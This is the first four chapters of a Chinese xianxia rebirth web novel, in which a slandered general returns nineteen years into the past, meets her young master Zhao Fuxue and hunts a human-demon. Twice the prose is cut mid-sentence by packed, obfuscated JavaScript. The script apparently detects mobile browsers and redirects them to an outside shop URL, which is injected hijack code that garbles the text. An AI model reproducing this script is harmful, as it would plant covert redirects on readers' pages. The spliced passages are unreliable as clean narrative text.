《重生成师尊的早逝白月光》 1. 第 1 章 夏历两千七百三十三年,大夏天机军主将封澄与其铁骑军团覆灭于长煌大原外,三十万魔军俱亡,血甲残旗班师,大夏惨胜。 纷乱战火之中,大夏黄金一代,几近凋零。 帝大恸,三月后驾崩。大夏太后姜徵扶皇幼弟继位,垂帘听政。 ——《夏书·天征纪年》 西琼的春季漫长而昏暗。 黄沙与白雪,竟能像如此这般融为一体。 古安曾是西琼最繁华的一处城市,只可惜近日的魔物动乱,一时间门关户闭,街上只有几间铺子开门。 不过此时,这几间铺子已被征用,做了制药除魔的后勤。 街上满目惶然的人群乱成一团,唯有一人在板车上,眉目紧蹙,好像做了噩梦。 封澄在察觉到自己的意识时,有些恍惚。 “他老子的,封将军活着的时候,妖魔鬼怪哪敢猖狂,她才死,这魔族竟都跑上家门口了!” “……叛国将军,若不是她,我们岂能过成这个样子!” “这封将军装得着实到位!若非她未婚夫婿出面,谁人能知晓她竟私藏活人炼魔、倒卖天机灵器、私自与魔族相通?太后大义,开仓放粮,免征赋税,这才收拾了此人的烂摊子,封澄——哼!” “此人当年也是天纵奇才,年少时一手天机术谁人能敌?军功赫赫,其势如鲜花着锦、烈火烹油,谁知误入歧途,可惜,可惜。” 封澄缓缓睁开了双眼,耳边的嘈杂声音霎时无影无踪。 刺眼的日光刺得她睁不开眼,她满头冷汗。 一旁陪伴的是一位异族少女,她非常着急地对围成一团的众人道:“她醒了,快喊人来!” 有人道:“这时候哪能喊得人来?去要一碗粥给她喝了就行。” 少女起身,衣衫簌簌,片刻,粥水递到封澄的面前,封澄头脑还发昏,下意识便躲避开,不料来者似乎相当坚定,硬是给她喂了一口。 粥米的清香中带着药草的味道,令她精神微微一振。 少女细心地吹了吹表面的药渣,满意地将粥递给她:“喝药吧。” 封澄不动声色地眨了眨眼睛,一动不动地打量着异族少女。 面前的少女的年龄约莫十四五岁,一副异族的长相,一双碧眼,看着年轻稚嫩。 她道:“你叫我海洛斯便好。” ——此人面生,名字也生,没见过。 更何况,她不是已经死了吗? 利刃穿心,万魔吞噬,一身污名。 “领了药粥的便自行离去,不要在此留驻!”有几个身着青色长袍的人喊话。 驱散人堆后,又一脑门官司地跑开:“不要乱动死人!” 封澄见人三三两两散去,神色皆是大为紧张的样子,不由得问道:“这里为何乱成这般模样?” 还有死人。 海洛斯吹了吹药粥,垂眸道:“古安城郊忽然有魔物出没,等天机师来除魔时,几个村子都没了,听说死了七十余人,魔物现在还没找到。” 世间妖魔鬼怪横行,人间修道之人大致成两大派,志在逍遥的为散修,也叫修士,归属于朝廷的,便称之为天机师。 无论何时何地,提起天机师来,总是无人不赞叹,无人不敬服的。 只是——古安? 封澄怔了半日,才将这个陌生的名字从脑海深处挖出来。 大夏的确有这座城,可在十几年前,就更名为还沙了。 难道说,她死而复生,脑内一时出现了错乱? 久死初醒,难免头脑发昏嘛。 她抿了抿唇,不动声色地打听:“今年是哪一年了?” 海洛斯掰手指算算:“今年是天征四年,若要算夏历,应当是……两千七百一十四年?” 封澄脸上当即是一片空白。 天地良心,她眼睛一闭,竟然是直接死到了十九年前! 天征二十三年,长煌大原一战后,她所在统领的天机军几乎全军战死,封澄死得不安息,昏昏沉沉里,把死后诸景看了个遍。 她的挚友泼她污名,将要完婚的夫婿也踩着她的尸骨,夺军功、尚公主,生一双子女,平安顺遂。 守卫的国土寸寸沦丧,魔族动乱,民不聊生,妻离子散。 本以为死到未来,不曾想竟然回到了过去,封澄扶额叹息。 海洛斯又道:“天机师不兴,魔族猖獗,这次作乱的魔族,听闻是棘手无比,极为凶悍。” “不知何时何日,才会出现一个盖世的天机师,将魔族通通打出去啊!” 封澄正在低头喝粥,忽然间,她喝粥的手停住了。 对,这个时候,还真有这人。 她在入京读书,拜的是当世第一天机师,人称负雪先生的大修士。 负雪先生少年成名,百家皆通,年纪轻轻便负“见素”长剑,行走江湖,镇恶除魔。一手神鬼莫测的剑法,更是斩过数万魔族,可谓是话本子里的英雄人物,俗世中的天纵奇才。 只是天征五年,少年折剑。 封澄只在年长者语焉不详的低语中听过此事的只言片语,据传赵负雪逢生死大劫,力竭惨胜,重伤两年,心魔入体。 于是封澄拜入赵负雪门下时,他已闭门不出,病骨支离,连她这个唯一的徒弟都没见过他几回。 可即便是这样一位病骨支离的赵负雪,依旧能镇得魔族龟缩于长煌大原外,数年不敢作乱。 而此时此刻,这劫还没有应验。 封澄心下微动,低头搅了搅粥,陡然间,她忽觉心跳快得不正常。 她心下一沉,抬手摸心脉。 ——中魔气了。 封澄简直要气笑了——回来短短半个时辰,入口之物只有一口粥,就这玩意里头还能下毒。 海洛斯见她下地,有些着急:“你要去哪里。” 封澄收了粥碗,问她:“这药粥是在哪里熬的?” 循着海洛斯指引的方向走去,封澄来到了一处简陋的窝棚。 看起来是安置伤者的地方,几乎一步一个泥印,几口大锅架在火上,药香弥漫。 封澄方一进去,潮乎乎的、带着臭气的血腥味便扑面而来,尾随而来的海洛斯忍不住连连干呕两声,忙退至门口, 两个人面色青黑地守在锅边,似乎是察觉到封澄的靠近,猛地退后,封澄心道一声卧槽。 面色青黑,前胸与腿上都向外冒着黑气——熬粥的二人分明就是魔物! —— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13177574|138974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这众天机师都找不到的东西,竟然就龟缩在天机师的营地里里。 好一个灯下黑——封澄大为叹服,十九年前的天机师,业务能力便这般令人汗颜吗! 事到如今,也顾不得想这么多了,驱魔除魔,于她而言,从来也只是顺手的事,封澄随意摔了只陶碗,拾起陶片,随着陶片刺入指尖,鲜红血液霎时涌了出来,封澄取血,颤颤的血珠落在她的指尖。 陡然,指尖鲜血好似游蛇腾然而起。 那血线冲向村长与女人,涌入其七窍之中,天机师的血液钻入二魔体中,封澄的血液飞快追咬着魔物体中的魔气,二人嗬嗬乱叫,苦力挣扎,却终究败伏。 此时二人的口鼻眼中不断涌出血水,难以分出是他们自己的还是封澄的。 封澄除魔收血,却皱了眉头:“咦?” 体内魔气没有解开,她仍然心跳得很快。 她正要蹲下检查,身后却传来一声:“别动。” 说话的男声相当清越,如清风过松竹,封澄一怔,莫名觉得有些耳熟。 她想要回头,后背却被一硬物抵住,迫使她不得回头。 “……” 封澄举起双手,示意自己无害。 “是人,是魔,在这里做什么?”那人不耐烦道。 封澄想起这声音熟悉在哪了,瞳孔猛地一缩。 她心跳得很快,不知是因毒药而跳动,还是因声音的主人而跳动。 “是人,前来除魔。”封澄听到自己的声音艰涩道。 抵在后背的武器放下了,此时此刻,封澄才意识到,顶着她的,大概是剑鞘。 倘若答得不合他心意,等来的,便该是负雪剑的剑锋。 来者越过她,径直走向尸身前。 行走带风,身量甚高,一身白衣,束着长发,眉眼极为冷淡,好像雪一般。 可偏偏眸色流转间,有动人瑰色。 看清来者全貌后,封澄怔住了。 她很不合时宜地想起众师兄师姐之言——赵先生的脸是大夏的不世出之宝, 果然不错,且年轻时,更是多了几分少年人的傲气与锐气,几乎夺目。 赵负雪并不看她——或者说他对除了魔物之外的其他连半分兴趣都无,他向封澄身后的两个死人走去,俯下身,一边检查,一边对着七窍流血的二人皱眉:“你用血除魔?” 不待封澄回答,他便嗤道:“修的哪门子散学,歪门邪道。” ——比起当年呆在天机院之时,他长相几乎毫无变化,话却变了很多。 又呛人,又罗里吧嗦。 见了眼前这位小赵先生,她几乎怀念起来——大赵先生有一张似笑非笑又了无生趣的脸,能在他口中听到这么多话,除非太阳打南面升起来。 赵负雪的动作很快,尸体检查完毕,他站起身来,提步便要走:“修习邪术没前途,天机院今年报名没结束,趁早走正道。” 封澄挑挑眉,回呛道:“可我看你这个天机院出来的也不过如此?” 赵负雪驻足:“?” “你若探查得当,便会发觉,这两只魔物体内的魔气,统统都是被灌进去的。” 赵负雪驻足,好看的眉毛高高挑起:“怎么说?” 2. 第 2 章 散修的法门五花八门,剑修、体修、符修数不胜数,驱血除魔的血修也是一门散学,修成者无需灵力灵器,自身血肉便是骇人的兵器。 之所以不兴,主要一是因其修习条件着实骇人,伤人伤己,二是何必呢——修士行走江湖,又不是没有买灵器的地方。 此血修以血除魔,引自身血气精准击溃魔物体内的魔气气旋,其操作精细入微,非常人可为。 就像在一片密林中,精准击碎生了虫的一片树叶。 难以想象是多么困难的一件事。 赵负雪这辈子没见过修得这么精的邪魔歪道。 门口有数人探头,听到屋中动静,前来看热闹,邪魔外道抓了个人便问道:“这两个人,你可认得?” 被抓的吃瓜群众忙不迭点头:“当然认得,这是村长李文得,这是他的续弦妻子方如,二人成婚不到一年。” 又有人大声道:“死相都成这样了,你还能认出是方如?我倒觉得不是方如。” “为什么?” “方如怀有身孕,前些日子还说要生了,这女人的肚子扁平,哪有临产之迹。” 邪魔歪道的目光停在女人的肚皮上,沉吟片刻,抬手道:“请这位公子一脱外裳。” 赵负雪听了这话,当即一哆嗦,手按剑柄地后退一步。 “大胆,”他警惕道,“光天化日,朗朗乾坤,你便口出污言秽语。” 封澄:“……” 赵负雪突然发什么神经。 她干脆利索抬起手,脱了自己的外裳,没等赵负雪反应过来,便把外裳丢过去道:“撑开些,挡住这个女人。” 她算是看明白了,年轻时候的赵负雪,和后来的赵负雪完全就是两回事。 思维之跳脱,行为之费解,常人望尘莫及。 少女的外袍轻软,上面似乎还有些香气,赵负雪被外裳丢了个正着,一低头,险些脱手丢出去。 邪魔外道仿佛后脑勺长了眼睛一样:“丢出去要赔我两件哦。” 他错开视线,把外裳抖开,抿唇道:“谁要丢出去了。” 封澄的外袍遮住了女人身形,她俯身,拉开了她的衣服。 “这是分娩后的腹部,”她道,“孩子已经产出,不见踪影,八成也遭了毒手,女人身上伤口不多,大多是擦伤碰伤。”她说着,又掀开男人衣物,“这男人就有意思了——全是新鲜的刀伤,没有啃咬痕迹——动手的魔物有灵智,在泄愤,人魔干的。” 世间之魔分大致分三种,分别为天魔、地魔、人魔。 天魔多为兽形,凶狠好战;地魔应世事而诞,较为强悍,据地不出,少见;人魔生于人之因果,以人化魔,生灵智,同鬼怪有相似之处,多为愁怨所结。 干净利落,推论果断,处事周全,赵负雪微怔:“你……” 这邪魔歪道还挺不一样。 封澄低头,目光停在死不瞑目的二人身上,擦了擦二人的血泥,抬眼便看到了赵负雪微微动容的神色,当下心中一动。 少年师尊这个刮目相看的眼神,真令人通体舒畅。 她尾巴隐隐欲翘:“这算什么,看接下来的。” 赵负雪回了神。正待出声,门外忽然传来嘈杂步音。 只听十几个穿着黑衣的人道:“陈云大人到,闲杂人等退后!” 看热闹的众人鸦雀无声,哄然散去。 封澄的脸当即臭了下来,她将二人的衣服整理平整,咬牙切齿地站起身来。 她倒要看看,什么大人,耽误她给赵负雪见见世面。 在封澄不善的目光中,陈云一摇折扇,挺着胸脯,站了出来。 男子年纪不大,看上去只有二十出头,容貌俊极,生就一副贵气模样,一身紫袍垂感极佳,配以银丝暗纹描绣的飞鸟状纹路,愈发衬的其人面如白玉,贵气非凡。 封澄很不友善道:“有何贵干呐?” 几个黑衣人顶着封澄几欲杀人的目光,好似听不到一样,抽出符纸,拍在二人周身大穴上,半晌抬起头道:“大人,符咒查验,无魔气。” 这符纸遇魔气则燃,静止不动,无魔气。 陈云露出了几分虚与委蛇的笑意,他拱了拱手道:“我乃陈家修士,见得魔气,前来除魔,不曾想二位先来一步,失敬,失敬。” 未等封澄做出反应,陈云便探头道:“只是不知姑娘除魔,用的是什么灵器,能否让在下观摩一二呢?” 散修之间,是会私下动手的。 各大散修割据地盘,从来都是一带的诡事归一派的散修所管,如若外来人士多管闲事,本地散修是会赶人的。 封澄不知,赵负雪却眉头微皱,他手指停在腰间佩剑之上,“见素”宝剑,隐隐出鞘半寸。 一黑衣人向前一步,佩剑亮出来道:“大人问你话呢,为何不亮灵器?” 封澄心下不爽,凌空一脚把他踹了个跟头:“把你指着人的破烂收回去。” 赵负雪表情一滞,随即,微微转头看向封澄。 这人是拿剑指着他吧? 她毫不犹豫的保护姿态,是怎么回事? 陈云冷笑一声:“哦?进了我西琼陈家的地盘,还敢当面动手?来人,给我把这两个不知天高地厚的东西拿下!” 黑衣人一拥而上,封澄将两个扑上来的黑衣人撂翻出去,她道:“除魔卫道本是修士的本分,陈家地盘是什么意思?” 赵负雪的灵器见素还未出鞘,他用剑鞘格开一人,眼神微动,心道:“血修大都为阴狠毒辣的亡命之徒,何门何派能教出这样一个人?修习的路子既阴损又偏门,脑子里的东西倒是走的正路。” 这般想着,他口中却损道:“你在山中几辈子没出来了,活在哪朝哪代。” 封澄翻了个白眼,她没曾想十几年前的修士竟然是划地盘的。 后世魔族大举入侵,各地修士不是并入天机军,便是入了深山不问世事,还窝里斗消耗有生力量的,难道想被魔族撕吧撕吧吃了? 她一边甩了个过肩摔,一边将话题转移到村长二人身上来:“不说这个,我发现刚才有件事很奇怪。” 赵负雪歪歪头,示意自己不知。 封澄道:“他的人拿了符咒。” 陈云闻言,不由得插嘴道:“我拿符咒怎么了?这有什么问题?” 封澄瞥了他一眼:“拿符咒当然不是问题,有问题的是符咒不燃。” 陈云一头雾水。 封澄很耐心地继续:“打个比方,魔物本身就像是茅厕的坑,你炸过茅厕没有?” 陈云脸一绿:“我闲来无事炸它作甚?” 封澄自顾自地道:“如若你炸过,便应当会知道,炸了茅厕,反而会炸得天女散花——搅得周围一起臭。” 天女散花四个字出来,陈云的脸更绿了。 这个比喻的画面感当真是很难不令人浮想联翩啊。 “刚刚除了魔,魔气从魔物体内逼了出来,符咒若是不燃,那只能说明,魔气的主人知道我们杀了李文德与方如,所以这两个物件没有用了,所以收回了魔气。” 陈云恍然大悟。 封澄微笑着将最后一个黑衣人的手臂拧断,随后一脚揣在了恍然大悟的陈云的背上,居高临下道:“懂了吧?这个动手杀人的人魔,是一个生了灵智,且能将魔气自如收放的东西,而且还在附近,知道我们杀了两个魔。” 想了想,封澄又补充道:“说不定就在刚才看热闹的那群人里面。” “你是说,这种魔物有可能还在附近!?”陈云大惊失色。 脚下挣扎,她难以置信地踩了踩陈云,道:“区区人魔,也能将你吓成这个样子?它看到有修士盯上了它,该怕才对,我从来只听说怕猫的鼠,今日竟见到个怕鼠的猫,怎么长这么大的,这般胆小。” 陈云不敢相信封澄不光践踏他的身体,还蔑视他的胆量,他涨得脸红,当即顾不上害怕了,直着脖子叫道:“谁谁谁说我害怕了!你你你敢这么对我说话!你知道我爹是谁吗!” 封澄:呦,结巴。 天机院里拍下一块板砖来都能敲死三个豪贵子女,这种拼爹话封澄都听腻了,她蹲下来拎过陈云的头,不闪不避地盯着他道:“知道我儿是谁吗?” 话音未落,在场各位面色一片愕然,盯着面前女子的神色都有些迟疑。 这……这姑娘看着年岁不大,竟然有了打出名声去的儿子? 难道是位习得了驻颜之术的前辈? 这样一说就解释得通了——怪不得身手如此了得 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赵负雪的目光停在封澄身上,她方才便说这算什么,竟然是真的不算什么,当即目光里多了几分探究,顺嘴敷衍道:“起尸。” 陈云:“……” 陈云:“你们俩会遭报应的。” 不过赵负雪说得倒是没错,从样子上看,封澄的确在起尸。 看到死者眼中最后之景,听到死者口中最后之言。 天机师行话便称道——追魔。 其实大多数的修士,已经不用追魔去寻找魔物。 原因无他——这玩意太难了。 亡者已过彼岸,生者如何纠缠。 常人见死前一瞬,闻死前一字,便是一地天才,能见死前之全景,闻完整一句话,凤毛麟角。 陈云自己也修习过追魔古术,自然知晓修习追魔之术的条件之苛刻,修习之辛苦,他能追出几个字来,已然算是修习得道了。 陈云胸口郁结之气一散,幸灾乐祸——这小丫头虽说能打,还是年轻,经验不够,当众追魔,可谓是要丢人现眼。 赵负雪从他的神色中看出了他在想什么,勾了勾嘴角道:“陈公子似乎对追魔之术颇有所得?” 陈云哼了一声,昂首挺胸地走上前去,在一众惊呼声众割开了手,将血液留在了方如的口鼻处,汲取其中魔气,涂到眼皮之上——他被赵负雪一激,竟然也开始追魔。 陈家年轻一辈的第一人是他陈云,世人少有能企及陈家的,而陈家人中又少有能企及他的。 他自负,在这方面,不会输。 众人的目光停在陈云与坐在一旁的封澄身上。 陡然间,躺在地上的村长猛然睁开了眼睛,众黑衣人被这动静一吓,齐齐退后。 坐起的村长口齿清晰道:“……我把孩子给你,能不能让我再进去见她一面?” 众人面色一变,神色各异——从死人口中听出这么清晰完整的一句来,不可不谓之骇人。 赵负雪大笑鼓掌:“好,好,果然厉害啊!” 封澄弯了弯眼睛,理所应当地接受了少年师尊的欢呼。 她拍了拍坐到的灰,站了起来,她起身,伸了伸懒腰:“叫个经了魔物夜袭的人来,问问有没有人知道这样一所房子:这所房子的主人应当是精心打理过的,门口的三个草垛子扎得紧实整齐,外墙种了爬山虎,门口有两棵大柳树,周围房屋都是低矮的,这家高出很多去。” 有好事的黑衣人连忙跑出去打听,不一会儿,便回来道:“的确有这个地方!” 话音刚落,陈云好似听到了什么荒谬之言,他登时也不追魔了,转过头,难以置信地看向封澄。 “你……你追到了?” 封澄理所当然地点了点头:“我寻到了,人魔全貌,案发之地,有何追不到的?叫个车来,我们启程。” 陈云脸色大变。 听这口气,竟然还是直追老窝! 追魔之术修行至此,还如此年轻——他眼前当即一黑,这人日后,说不准真能能连他爹一起揍! 3. 第 3 章 门口的海洛斯听闻他们的目的地,硬要跟着上来,道:“我就是那个村子的,我知道有近路。” 有近路,陈云当即眼睛一亮,风度翩翩地做了个请的手势:“姑娘请。” 封澄很意味深长地看着她。 由于陈云带着一帮黑衣人气势汹汹地杀入了驻地,此地的民众们早就一窝蜂地散掉了,故一群人浩浩荡荡地出门时,也没几个胆大的敢探头出来凑热闹。 海洛斯一边带路,一边小心翼翼地问道:“此地魔族乱入,天机师还未将魔物清理完,我们真的要去那么荒僻的房子吗?” 封澄点点头。 古安郊外,离此地有一百里,陈云与封澄、赵负雪、海洛斯坐在同一辆车子中,越坐,心越慌。 冷静下来后,他也想明白了——炉火纯青的追魔,和古往今来,能有几个?这人对灵力的把控、对魔气的感知,又到了什么地步? 陈云默默打量——封澄身上看起来身上也没有什么灵器,也没有天机院标识,应当是个无门无派的散修——这等散修,若能收归陈家,不知是多么大的助力啊! 陈云盘算得美滋滋,赵负雪冷眼打量他。 一行人来到了封澄所言的房前,在周边的一片低矮房屋中,这所房子更是格格不入。 陈云走了一路,感觉这辈子都没走过这么难走、这么长的破路,只觉得从后腰到大腿都被颠麻了,他看着眼前这荒得扎眼的小破屋,扶着土墙,险些一口气上不来。 他心里只觉得自己是疯了,跟个来路不明的野丫头跑了这么大老远,就为了来看一个破房子。 这能追到什么魔? 于是陈云不耐烦道:“接着怎么办,把这个房子拆了?” 封澄伸出一根手指,摇了摇,道:“案发之地,魔不一定在,我们现在,要把魔物引出来。” 陈云翻了个白眼,就地一坐:“那你说,怎么引?” “简单,烧秽迹,你进去找找有没有衣物,看起来像人常穿的,我要用。” 她强调道:“两件,记住了,两件。” 陈云当即跳脚就骂:“你使唤人倒是轻快!” 赵负雪斜睨他一眼,剑又出鞘半寸,陈云瞪着眼睛,强行将滚到喉咙处的脏话咽了下去,忍气吞声地吩咐道:“你们几个,进去拿衣服。” 几人转身钻进房屋,不一会儿便找了两件外袍出来,封澄接过外袍,端详片刻,满意道:“不错不错,现在我们要开始烧了。” 她比了比手指,只见她手指间,一缕细细的火苗攀援而上,陈云定睛一看,又忍不住喊:“手上着火了!” 众黑衣人滚成一团,齐齐瑟瑟发抖,封澄难以置信这竟是一群修士,分了他们一个白眼道:“灵气自有五行之力,点个火有什么稀奇的。” 众人对视一眼——话虽如此说,但是能靠灵力点起火来,那得是多么精纯的灵力? 这修士,不简单啊。 赵负雪剑身还是出鞘半寸,一线冷冷寒光晃到了陈云的眼睛。 陈云被一头一身的黑衣人团团包着,见了赵负雪这个一言不发但是动不动就拔剑的,又委屈又愤怒:“我都捡来衣服了,你怎么还不收剑!” 一身白衣的赵负雪垂着眼睛,握着掌心佩剑,居高临下地斜睨:“开始烧秽迹了,你竟还坐得住?” 秽迹,乃是人成魔特有的东西。 “我一直觉得秽迹这东西很奇怪,”封澄一边拎着衣服,一边淡淡地道:“入了魔的人,杀戮成性、不具人形,早已和人世间之物无了半分关系。”她懒懒地转了转衣物,就地一蹲,托着腮道:“可是偏偏这些它们身为人之时、存在过的痕迹,成了它们轮回转世的希望。” “触之则痛,毁之则伤,村长二人动了她的秽迹,便被截堵围杀了。” 封澄吹了吹灰烬:“人间虽好,可既已决然离去,又何必回头。” 她说得淡然,赵负雪却听出来两分叹息。 赵负雪怔然看着她。 靠着自己和他人的血肉修行、视人命若浮萍的血修,也会对人间心怀怜悯吗? 海洛斯自从拿回衣服来便沉默不语,此时却忽然间走上前去,站在火边道:“我有些冷,能让我取个暖吗?” 陈云哦了一声,想也没想地给她让路。 封澄手中的火已经盖住了整件衣服,明亮的火光盖住粗糙的麻布衣服,衣物的本色、衣物的油污泥迹,都一点一点地被遮盖。 “冷吗?”封澄笑道。 说话间,第一件衣物已然被火全然侵蚀,封澄伸出手,正要拿起第二件时,手腕被一手握住了。 青紫色,五指像狰狞的爪子。 她不闪不躲地抬起头,目光正正地撞上对方:“你如今才动手,可是真令我意外,海洛斯。” 海洛斯不知何时已不成.人样了,她的脸一半是狰狞且盘根错节的青紫模样,一半干干净净,和原来十几岁的姑娘的长相一模一样,而封澄正对着的眼睛,鲜红欲滴,仿佛要随时泣出血来。 她的声音也嘶哑,仿佛是艰难从声带里挤出的声音:“你是什么时候看出来的。” 封澄嘴角一勾:“你是人魔这件事吗?” 海洛斯不说话。 封澄道:“自然是从追了村长的魔开始。” 魔定定地看着她,半晌,略带讽意地点了点头:“好,好,这么久。” 陡然间,腾然雾气伴着魔气猛地升起,这雾来得迅猛且浓厚,浓得好像是倒下来的牛乳,封澄的双目前白茫茫一片,可视度不过是一臂之长,霎时只剩下了耳边陈云一众的吱哇乱叫之声,她低头,发现抓在她手腕处的手不见了。 年轻明媚的小姑娘骤然成魔,这惊吓可不得了,陈云当即忍不住惊呼一声,猛地后退两步,两眼一翻,不省人事了。 海洛斯不再掩饰自己的魔气,封澄清楚地嗅到了魔气的味道。 潮湿的、冰冷。 她忽然觉得缺了点什么——一直萦于耳边的乱叫不见了,封澄心道一声不好,倏尔间,海洛斯的声音便透过雾气遥遥地传过来,嘶哑难听地嘲讽道:“你若要救他,就过来。” 封澄向前一步,手腕忽然被一股大力抓住,她回过头,撞入赵负雪圆圆睁大的眼睛。 他眼睛居然能睁这么大,封澄想。 赵负雪仿佛被火烧了一样,猛地松开了手,他猛地背过身道:“驱血除魔并非正道,你身无灵力,入阵凶险,我去救人……” 她叹了口气,拍了拍他,从前未发觉赵负雪竟是个操心碎嘴的,无奈道:“都这种时候了,还正道不正道的,迂腐。” 封澄把手从赵负雪手中挣脱出来,转身向着声音的方向去了。 赵负雪不可置信地看着自己被甩开的手,先是一愣,随后便气得当场就要甩袖而去。 “不知好歹的邪魔歪道,愚不可及,死了活该。” 方走出二步,他又停住了脚步,心下犹豫:“可她虽鲁莽,却也是条人命,总不能看着她去死。” 可这么追上去,又不像样子。 赵负雪纠结片刻,回头又看到了抱成一团瑟瑟发抖的黑衣人之众,他心念一动,冷着脸道:“你们,跟上。” 雾气一凉,陈云猛地睁开眼睛,四周白茫茫一片,透骨的寒意一层一层地渗入他的皮肉骨骼,不知是不是错觉,耳边好像还有那妖女阴恻恻的呼吸。 “怎,怎么只有我在这儿,那……那两个人呢?” 他吞了口水,试图搜寻封澄与赵负雪的身影。 “我本以为杀了那两人便无事了,”海洛斯不知从何处冒出来,鬼气森森地看着他,“没曾想还能招惹这么多多管闲事的人。” 陈云吓了一跳,随后便是不满,竟和海洛斯顶上嘴来:“什么叫多管闲事,你狐狸尾巴没藏好,难道怪我们!?” 受制于人,还能和歹徒吵起来的,寻遍上下八百年也只得陈云一个。 海洛斯冷笑一声:“怪你作甚?谢你们还来不及,你说她入了我的阵,可还有命出去?” 她哈哈大笑:“以二人小命,换得三个修士的命,我赚得很!” 远远似乎有封澄的声音。 陈云汗毛一炸,当即连滚带爬地循上声源,高声道:“快走!她要杀了你!” ** 这间小小的院落好像没有尽头一样,封澄越走,越觉得遍体生寒,她搓了搓胳膊——自从她成为修士以来,已经许久没有感受过如此寒意了。 这阵法实在古怪,寒意一波一波,冻得她几乎说不出话。 “可恨陈云那稀松二五眼的本事,”封澄想,“被魔捉去不说,还带累我进雾除魔——嘴比本事硬的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13177576|138974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夯货。” 寻摸间,耳边忽然炸来夯货的声音:“快走,她要杀了你!” 封澄眼前一亮,猝然回头,不料迎头一片浓雾冲面而来,霎时脑中天旋地转,她一睁眼,映入目中的便是漫天鹅毛大雪。 以及浓厚的魔气。 “——你怎么还是进来了啊!” 陈云抱头惨叫,封澄没好气地将他揪出来:“就该放你去死。” 还没等下一句,远处忽然又有黑影一片,封澄抬眼,看清身后跟来乌泱泱的一群人。 不欢而散的赵负雪手持见素,封澄与其大眼瞪小眼。 他扭头冷哼一声,走到一旁,抱臂不语。 黑衣人扭捏道:“大,大人,我们来看看能不能帮什么忙……” 封澄顿时就想骂人。 转念一想,若是海洛斯再将这几个黑衣人抓去,她岂不是又要疲于奔命地捞人。 于是她摆摆手道:“不添乱就算好的——魔物就在前面,不想死就跟紧一点。” ——可把人留在外面,有赵负雪看护,难道海洛斯还能抓了人。 封澄心底吐槽了八百个来回,陈云一把抓住她,打断道:“你刚才有没有听我说话?这魔物设了阵,布下天罗地网,想杀了你,敌在暗,我在明,不要往前去了!” 封澄难以置信地看着他:“不入阵去,如何破阵?在这里等死吗?” 感觉再多说一个字就想和这位夯货爆了,她甩开了陈云的手,自顾自地向前去了。 陈云伸出一只手,作挽留状,一旁黑衣人没有眼力见,偏在此时进来插嘴道:“老大,那个带剑的男人也入阵了!” 陈云无名火起,心中恼怒,一扇子敲过去道:“蠢货,我们也进去。” “那村长死前说的话。”赵负雪不知何时走过来,面沉如水地搭话,“想必同海洛斯的阵法有关系。” 封澄瞄了他一眼,很给面子地点了点头。 阵法越进,雾气越浓,待行至最浓之处,众人脚下一空,仿佛径直跌下云头来一样,封澄睁开眼,入目之景却让她霎时定住了。 此处正是她那修学的处所,京城天机院是也。 而众人降落之处,正是赵负雪居住的院落,鸣霄室。 其间种种陈设,皆如同她记忆里那般,分毫未动。 ——等等,封澄反应过来。 十九年前怎么会有鸣霄室?赵负雪还站在她旁边呢。 不同于一片茫然的陈云等人,赵负雪看着这四周陈设,心下十分不爽,他皱眉道:“这地方处处古怪。” 一应摆设,透着一股诡异的亲切之感。 封澄道:“我可算知道那村长死之前说话什么意思了。” ——把孩子给你,能不能让我再进去见她一面? 原来这个“进去”,是指进海洛斯的阵法。 封澄不住冷笑:到底是为了见什么东西,竟能连自己的孩子也可以作为交换? 忽然间,她听到室内传来一两声轻咳。 此音一出,仿佛一道霹雷径直劈到了封澄的天灵上,刺得她周身如坠冰窟,封澄站在原地,几乎不能移动。 “这是……”她如遭雷击,“他的声音。” 她一时定住了,目光不由得望向鸣霄室那两扇紧闭着的门。 大雪不知何时飘飘落下,落在了封澄的发前,恍惚间,她分不清眼下光阴。 赵负雪是天下第一的修士,有一把天下第一的剑,荡剑除魔,似鬼如仙。 自打拜入赵负雪门下,封澄便一路追着赵负雪的步伐。 修灵气,阅千书,行走江湖,敬仰万千,步步追随。 也不是没想过和师父交谈一二,只是封澄每每走向此院,每每走向鸣霄室,她总是看到这扇紧闭的屋门,间或还有师父传出的一两声病音。 自来到走,封澄从来只是在师父的窗下坐一会儿,便悄悄走了。 日出日落,守着这扇门,她路过了一日又一日,等了许久又许久,却从未等到这扇门开过。 她想给赵负雪看到的剑,杀死的魔,纵横的伤,从来都是轻轻地落在了别处。 这扇门从来不会打开一样。 死水般的寂静后,封澄的心中霎时翻起滔天怒火——这魔物什么胆子,竟然敢挖到她的记忆里,捏出一个赵负雪。 4. 第 4 章 又一阵熟悉的头晕目眩,众人再睁开眼睛时,季节忽然一变,院子里的桃树开了花。 一人拿着扫帚,正在扫地上残花,看见封澄,眼睛一亮,欣喜地伸手道:“封师姐怎么才来?赵先生醒了,正叫你进去呢!” 陈云一见,拍腿大叫道:“坏了,这不是传说中钻人空子的阵法?姑娘她本领高强,定然不会中这么浅显的招数吧!” 众黑衣人看他一眼,目光中是如出一辙的小心翼翼。 “大人,姑娘她,她已经,推门了。” 陈云:“……” 赵负雪微微咬牙,他站在原地,忽然喊了一声:“喂!” 封澄停住脚步。 叫住了封澄,他反而不知要说什么了,支支吾吾半晌,赵负雪舌头打了千百个结,才道:“……前面便是险恶魔窟,明知如此,你还要自投罗网吗?” 封澄头也不回地推门进去了。 